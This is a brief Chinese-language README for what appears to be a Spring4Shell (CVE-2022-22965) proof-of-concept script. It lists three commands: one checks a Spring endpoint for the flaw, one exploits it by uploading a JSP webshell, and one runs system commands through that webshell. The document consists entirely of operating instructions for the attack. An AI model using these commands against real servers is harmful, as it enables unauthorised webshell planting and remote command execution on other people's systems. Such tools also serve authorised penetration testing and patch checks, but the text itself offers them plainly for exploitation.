spring4shell-CVE-2022-22965

简单的Spring4Shell POC

• 检查端点是否易受攻击

python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting --check

• 利用易受攻击的端点

python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting -f shell.jsp --exploit

• 在上传的webshell上执行命令

python spring4shell.py -u http://192.168.110.117:8080/shell.jsp --cmd id